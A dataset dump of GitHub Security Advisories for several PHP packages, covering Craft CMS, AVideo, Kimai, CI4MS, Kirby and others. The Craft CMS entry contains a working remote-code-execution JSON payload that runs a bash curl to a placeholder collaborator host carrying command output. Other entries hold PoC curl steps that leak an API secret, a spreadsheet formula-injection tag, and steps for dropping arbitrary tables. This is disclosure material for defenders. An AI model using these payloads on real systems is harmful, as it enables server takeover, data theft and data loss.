deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-qrgm-p9w5-rrfw
Package: craftcms/cms (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Vulnerable versions: >= 4.0.0, < 4.17.12
Patched in: 4.17.12

Summary: Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior

Details:
We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server.  Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.

This is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.

The request-controlled condition field layouts data is converted into a live FieldLayout object without a `Component::cleanseConfig()` boundary. Because Craft configures models before `parent::__construct()`, attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.

This appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.

We were able to reproduce the attack by issuing a POST request to `/admin/actions/element-search/search` with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same `beforeAction()` path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path:

 ```
POST /admin/actions/element-search/search HTTP/2
Host: hostnamehere
Cookie: CraftSessionId=...;[PII_REDACTED]341234_identity=...; CRAFT_CSRF_TOKEN=...;
Content-Length: …
User-Agent: Mozilla/5.0
X-Csrf-Token: ...
Accept: application/json
Content-Type: application/json

{

  "elementType": "craft\\elements\\Category",
  "siteId": 1,
  "search": "",
  "condition": {
    "class": "craft\\elements\\conditions\\ElementCondition",
    "elementType": "craft\\elements\\Category",
    "fieldLayouts": [
      {
        "as rce": {
          "__class": "yii\\behaviors\\AttributeTypecastBehavior",
          "__construct()": [
            {
              "attributeTypes": {
                "typecastBeforeSave": [
                  "Psy\\Readline\\Hoa\\ConsoleProcessus",
                  "execute"
                ]
              },
              "typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/`id`\](https://yourcollaboratorservergoeshere/%60id%60/)""
            }
          ]
        },
        "on *": "self::beforeSave"
      }
    ]
  }
}
```

## Resources

https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3
GitHub Security Advisory: GHSA-xr49-f4rh-qcjf
Package: wwbn/avideo (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-862: Missing Authorization
Vulnerable versions: <= 29.0
Patched in: unpatched

Summary: AVideo Vulnerable to Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization

Details:
### Summary
  An unauthenticated user can read `APISecret` from `objects/plugins.json.php` and use it to call protected API endpoints
  (e.g. `users_list`) without logging in.

  ### Details
  `objects/plugins.json.php` is public and still exposes plugin `object_data` containing `APISecret`.
  That secret is accepted by `plugin/API/get.json.php` as authentication.

  ### PoC
  1. Get plugin config (contains `APISecret`):
  ```bash
  curl 'http://<host>/objects/plugins.json.php'
```
<img width="879" height="94" alt="image" src="https://github.com/user-attachments/assets/027073fc-dccd-4e1d-8450-ad12345e88eb" />

  2. Copy APISecret from response, then call API directly:
  ```bash
  curl --get 'http://<host>/plugin/API/get.json.php' \
    --data-urlencode 'APIName=users_list' \
    --data-urlencode 'APISecret=<APISecret>' \
    --data-urlencode 'rowCount=3' \
    --data-urlencode 'current=1'
```
<img width="1719" height="170" alt="image" src="https://github.com/user-attachments/assets/edd629be-e75c-40a2-a52f-2f2e6da99b79" />


  ### Impact
  Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data.

  ### Recommended fix
  Requiring admin auth for full plugin inventory/config endpoint.
GitHub Security Advisory: GHSA-3qpq-r242-jqj7
Package: phpseclib/phpseclib (COMPOSER)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: >= 3.0.0, <= 3.0.51
Patched in: 3.0.52

Summary: phpseclib has a CVE-2024-27355 mitigation bypass — OID amplification DoS in ASN1::decodeOID()

Details:
### Impact
Anyone loading untrusted ASN1 files (eg. X509 certificates, RSA PKCS8 private or public keys, etc)

### Patches
https://github.com/phpseclib/phpseclib/commit/d53d2021bcb9f6a04d5d44ec99e6bbef219a71bc

### Workarounds
No.

### References
https://github.com/phpseclib/phpseclib/commit/d53d2021bcb9f6a04d5d44ec99e6bbef219a71bc
GitHub Security Advisory: GHSA-3qpq-r242-jqj7
Package: phpseclib/phpseclib (COMPOSER)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: >= 2.0.0, <= 2.0.53
Patched in: 2.0.54

Summary: phpseclib has a CVE-2024-27355 mitigation bypass — OID amplification DoS in ASN1::decodeOID()

Details:
### Impact
Anyone loading untrusted ASN1 files (eg. X509 certificates, RSA PKCS8 private or public keys, etc)

### Patches
https://github.com/phpseclib/phpseclib/commit/d53d2021bcb9f6a04d5d44ec99e6bbef219a71bc

### Workarounds
No.

### References
https://github.com/phpseclib/phpseclib/commit/d53d2021bcb9f6a04d5d44ec99e6bbef219a71bc
GitHub Security Advisory: GHSA-3xc2-h5r3-wv3r
Package: kimai/kimai (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-1236: Improper Neutralization of Formula Elements in a CSV File
Vulnerable versions: >= 2.27.0, <= 2.53.0
Patched in: 2.54.0

Summary: Kimai vulnerable to formula Injection via tag names in XLSX export

Details:
## Summary

Any `ROLE_USER` can create a tag with a formula string as its name (e.g. `=SUM(54+51)`) via `POST /api/tags` and assign it to a timesheet. When an admin exports timesheets to XLSX, `ArrayFormatter.formatValue()` joins tag names with `implode()` and returns the result unchanged. OpenSpout promotes any `=`-prefixed string to a `FormulaCell`, writing `<f>SUM(54+51)</f>` into the XLSX archive. Excel evaluates the formula when the file is opened.

## Details

### 1. `ArrayFormatter` does not sanitize before returning

`sanitizeDDE()` exists on `StringHelper` and is called by `TextFormatter`, but `ArrayFormatter` never calls it.
```php
// src/Export/Package/CellFormatter/ArrayFormatter.php:24
return implode(', ', $value);  // no sanitizeDDE() call
```

### 2. Tag name validation does not block formula trigger characters

The API blocks commas in tag names but permits `=`, `+`, `-`, and `@` - all valid formula prefixes in Excel and LibreOffice Calc.

### 3. OpenSpout silently promotes strings to formula cells

`Cell::fromValue("=SUM(54+51)")` returns a `FormulaCell` with no warning.

### PoC

1. It logs in as normal user, creates tag `=SUM(54+51)`, assigns it to a timesheet.
2. Admin has to export timesheets to Excel version via `/en/export/` endpoint.

<img width="1339" height="700" alt="image" src="https://github.com/user-attachments/assets/884c7943-5e3b-4647-8bcc-e264d6719d66" />

<img width="1304" height="128" alt="formula_injection_tags" src="https://github.com/user-attachments/assets/ef28f2ad-7491-4a15-bb18-1fcd6ff5e55a" />

## Impact

- Any `ROLE_USER` can plant a formula that executes on the workstation of any user who exports and opens timesheet data
- A single malicious tag poisons all future exports across all users and date ranges until the tag is deleted

## Fixes

1. Prevent `=` being part of the tag name (and other fields as well)
2. Use OpenSpout `TextCell` for everything that is a string
GitHub Security Advisory: GHSA-fm5r-cj7v-rj2c
Package: showdoc/showdoc (COMPOSER)
Severity: MODERATE (CVSS 6.3)
CWE: CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Vulnerable versions: < 3.8.1
Patched in: 3.8.1

Summary: ShowDoc has an Injection vulnerability

Details:
A vulnerability was determined in star7th ShowDoc up to 2.10.10/3.6.2/3.8.0. Affected by this vulnerability is an unknown functionality of the file server/Application/Api/Controller/PageController.class.PHP of the component API Page Sort Endpoint. Executing a manipulation of the argument pages can lead to sql injection. The attack may be launched remotely. Upgrading to version 3.8.1 addresses this issue. It is suggested to upgrade the affected component. According to the researcher, "[t]he vendor explicitly stated they will not backport patches to the older affected versions."
GitHub Security Advisory: GHSA-gxxh-8vcj-w2mh
Package: mckenziearts/livewire-markdown-editor (COMPOSER)
Severity: HIGH (CVSS 7.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: < 1.3
Patched in: 1.3

Summary: livewire-markdown-editor has arbitrary file upload that allows stored XSS via attachment handler

Details:
### Impact
All versions of `mckenziearts/livewire-markdown-editor` prior to **v1.3** contain a critical arbitrary file upload vulnerability in the `MarkdownEditor::updatedAttachments()` Livewire handler. The handler calls `$file->store()` with no server-side validation of MIME type, extension, or file content.

Any authenticated user with access to a page embedding `<livewire:markdown-editor>` can upload files of any type (`.html`, `.svg`, `.js`, `.php`, `.exe`, etc.) to the disk configured by `livewire-markdown-editor.disk`. When that disk is a public cloud bucket (S3, DigitalOcean Spaces, Cloudflare R2, Scaleway Object Storage — the common configuration when `FILESYSTEM_DISK` points to such a disk), uploaded files are served publicly with a guessed `Content-Type` header.

The consequences include:

- **Stored XSS** on the storage domain via uploaded `.html` or `.svg` files
- **Phishing page hosting** on the application's own storage domain (trust laundering)
- **Malware distribution** from a domain users associate with the application
- **Markdown injection** in the editor output via crafted filenames (the client-supplied `getClientOriginalName()` value was inserted verbatim into the markdown)

A real-world exploitation of this vulnerability was observed in production on a community platform using this package.

### Patches

Upgrade to **v1.3** or later.

### Workarounds

If developers cannot upgrade immediately, disable the upload UI on every instance of the editor by passing `:show-upload="false"`:

```blade
  <livewire:markdown-editor wire:model="content" :show-upload="false" />
```

This hides the file input and prevents the vulnerable code path from being reached.

### Resources

- Patch commit: https://github.com/mckenziearts/livewire-markdown-editor/pull/12
- Release: https://github.com/mckenziearts/livewire-markdown-editor/releases/tag/v1.3
- CWE-434: https://cwe.mitre.org/data/definitions/434.html
- CWE-79: https://cwe.mitre.org/data/definitions/79.html
GitHub Security Advisory: GHSA-fv26-4939-62fh
Package: nabeel/phpvms (COMPOSER)
Severity: CRITICAL (CVSS 9.4)
CWE: CWE-284: Improper Access Control, CWE-306: Missing Authentication for Critical Function, CWE-862: Missing Authorization
Vulnerable versions: < 7.0.6
Patched in: 7.0.6

Summary: phpVMS has an /importer authorization bypass causing full database wipe

Details:
# Security Advisory: Unauthenticated Access to Legacy Import Feature

**Severity:** Critical
**Affected versions:** phpVMS 7.x (up to 7.0.5)
**Fixed in:** v7.0.6
**Component:** Legacy importer

## Summary

A critical vulnerability in phpVMS 7.x allowed unauthenticated access to a legacy import feature. Although this feature is deprecated, parts of it remained accessible and operational.

## Impact

A remote attacker could trigger internal processes that modify or delete application data, potentially resulting in:

- Data loss
- Service disruption

No authentication was required.

## Remediation

- **Update immediately** to [the latest patched version](https://github.com/phpvms/phpvms/releases/tag/7.0.7)
- If unable to update:
  - The release link has instructions on how to fix it (it's a one-line fix to comment out the routes)

## Affected Versions

* Affected: phpVMS 7.x ≤ 7.0.5
* Not affected: phpVMS >= 7.0.6, v8 (feature removed from public access)
GitHub Security Advisory: GHSA-5hfv-c864-qcq9
Package: ci4-cms-erp/ci4ms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-613: Insufficient Session Expiration
Vulnerable versions: >= 0.26.0, <= 0.31.7.0
Patched in: 0.31.8.0

Summary: CI4MS has a Deactivated User Session Bypass (active=0)

Details:
### Summary
The auth filter has the deactivated/banned user check commented out. 

### Details
CodeIgniter Shield's `loggedIn()` re-checks the `status` field (catching `status='banned'`), but does **not** re-check the `active` field for existing sessions. When an admin deactivates a user (`active=0`) after they have already logged in:
- Their session cookie remains valid
- `auth()->loggedIn()` still returns `true`
- The commented-out code is the only mechanism that would have checked `!$user->active`

### Evidence
<img width="981" height="654" alt="image" src="https://github.com/user-attachments/assets/6f75d144-5bcf-4a3f-bc35-bb0715c3ed05" />


### Impact
- User deactivation does NOT immediately revoke backend access
- Deactivated user retains full access until session expires (default: 7200s)

### Additional note
The commented-out block appears to be a deferred placeholder — it was written but disabled from the very first commit that introduced the filter, and has never been active. The later addition of SessionTracker (v0.31.4.0) suggests the dev was aware of the session revocation gap, but account-level deactivation (users.active = 0) remains unenforced. Could you verify if this is intentionally pending or simply forgotten and not documented?.
GitHub Security Advisory: GHSA-vgrf-pr28-vf98
Package: ci4-cms-erp/ci4ms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: >= 0.31.1.0, <= 0.31.7.0
Patched in: 0.31.8.0

Summary: CI4MS Vulnerable to Arbitrary Database Table Drop via Theme deleteProcess

Details:
### Summary
The `deleteProcess()` action accepts a POST parameter `tables[]` containing arbitrary table names. These are passed directly to `$forge->dropTable()` without validating that the tables belong to the theme being deleted.

The `deleteConfirm` view correctly populates `tables[]` from the theme's own migration files, but the server-side `deleteProcess` does not verify the received values against those files. An authenticated admin can craft a POST request with arbitrary table names and drop any table in the database.

This is a real bug even within the admin trust model: the action should be scoped to the theme's own tables. The permission grants  delete this theme's data", not "drop any table".

### Details

### Location
`modules/Theme/Controllers/Theme.php` :: `deleteProcess()` ~line 147

### Vulnerable Code
```php
public function deleteProcess(string $slug)
{
    $themeName = $slug;
    $activeTheme = setting('App.siteTheme');
    if ($activeTheme === $themeName) {
        return redirect()->route('templateSettings')...;
    }

    $tablesToDrop = $this->request->getPost('tables');  // ← user-supplied, unvalidated
    if (!empty($tablesToDrop) && is_array($tablesToDrop)) {
        $forge = \Config\Database::forge();
        $db    = \Config\Database::connect();
        foreach ($tablesToDrop as $table) {
            if ($db->tableExists($table)) {
                $forge->dropTable($table, true);  // ← no whitelist check
            }
        }
    }
```

### PoC
1. Authenticate to the backend (any user with theme.delete permission)
2. POST to `/backend/themes/delete-process/<any_non_active_theme_slug>`
3. Include `tables[]=<any_table>` in POST body
4. The named tables are dropped without validation

### Impact
- Dropped `ci4ms_blog` (confirmed in test)
- Dropped `ci4ms_users` + `ci4ms_auth_identities` simultaneously — disables all authentication (confirmed)
- Any table in the database can be targeted

### Additional note
Quick note on the design intent for deleteProcess — I noticed delete_confirm.php scopes the checkboxes to the theme's own migration files, and the CHANGELOG confirms the selective deletion was intentional (admins can choose which tables to keep). The server-side deleteProcess already has all the information it needs to validate the input — deleteConfirm derives the valid table set from the migration files, deleteProcess just needs to do the same before acting on the POST. Happy to clarify if useful.
GitHub Security Advisory: GHSA-x68m-c7jf-2572
Package: getkirby/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-862: Missing Authorization
Vulnerable versions: >= 5.0.0, <= 5.3.3
Patched in: 5.4.0

Summary: Kirby CMS's system API endpoint leaks installed version and license data to authenticated users

Details:
### TL;DR

This vulnerability affects all Kirby sites that might have potential attackers in the group of authenticated Panel users.

----

### Introduction

Missing authorization allows authenticated users to perform actions they are not intended to have access to.

The effects of missing authorization can include unauthorized access to sensitive information as well as unauthorized changes to content or system information.

### Impact

Kirby's user permissions control which user role is allowed to perform specific actions in the CMS. These permissions are defined for each role in the user blueprint (`site/blueprints/users/...`). The permissions control the authorization of user actions (with handling of model-specific authorization omitted here for brevity).

Kirby provides the `access.system` permission (among others) that controls access to the system area of the Kirby Panel. This area contains internal system information like the installed Kirby, plugin and server versions, security state and Kirby license. If the `access.system` permission is disabled for a user role, users of that role should not be able to access this internal system information. However it is also possible to access some system information via the `/api/system` REST API endpoint. In affected releases, the response of this endpoint for authenticated users contained the installed Kirby version and the status, type and code of the installed Kirby license. These values are considered sensitive information and should be protected by the `access.system` permission.

The installed Kirby version and license data can be used by malicious actors during reconnaissance when planning a separate attack.

### Patches

The problem has been patched in [Kirby 4.9.0](https://github.com/getkirby/kirby/releases/tag/4.9.0) and [Kirby 5.4.0](https://github.com/getkirby/kirby/releases/tag/5.4.0). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability.

In all of the mentioned releases, we have protected the version and license properties of the `/api/system` endpoint with a check for the existing `access.system` permission. This ensures that the REST API only outputs information that should be accessible to the user via the Panel.

### Credits

Kirby thanks @HuajiHD and @0x-bala for responsibly reporting the identified issue.
GitHub Security Advisory: GHSA-x68m-c7jf-2572
Package: getkirby/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-862: Missing Authorization
Vulnerable versions: <= 4.8.0
Patched in: 4.9.0

Summary: Kirby CMS's system API endpoint leaks installed version and license data to authenticated users

Details:
### TL;DR

This vulnerability affects all Kirby sites that might have potential attackers in the group of authenticated Panel users.

----

### Introduction

Missing authorization allows authenticated users to perform actions they are not intended to have access to.

The effects of missing authorization can include unauthorized access to sensitive information as well as unauthorized changes to content or system information.

### Impact

Kirby's user permissions control which user role is allowed to perform specific actions in the CMS. These permissions are defined for each role in the user blueprint (`site/blueprints/users/...`). The permissions control the authorization of user actions (with handling of model-specific authorization omitted here for brevity).

Kirby provides the `access.system` permission (among others) that controls access to the system area of the Kirby Panel. This area contains internal system information like the installed Kirby, plugin and server versions, security state and Kirby license. If the `access.system` permission is disabled for a user role, users of that role should not be able to access this internal system information. However it is also possible to access some system information via the `/api/system` REST API endpoint. In affected releases, the response of this endpoint for authenticated users contained the installed Kirby version and the status, type and code of the installed Kirby license. These values are considered sensitive information and should be protected by the `access.system` permission.

The installed Kirby version and license data can be used by malicious actors during reconnaissance when planning a separate attack.

### Patches

The problem has been patched in [Kirby 4.9.0](https://github.com/getkirby/kirby/releases/tag/4.9.0) and [Kirby 5.4.0](https://github.com/getkirby/kirby/releases/tag/5.4.0). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability.

In all of the mentioned releases, we have protected the version and license properties of the `/api/system` endpoint with a check for the existing `access.system` permission. This ensures that the REST API only outputs information that should be accessible to the user via the Panel.

### Credits

Kirby thanks @HuajiHD and @0x-bala for responsibly reporting the identified issue.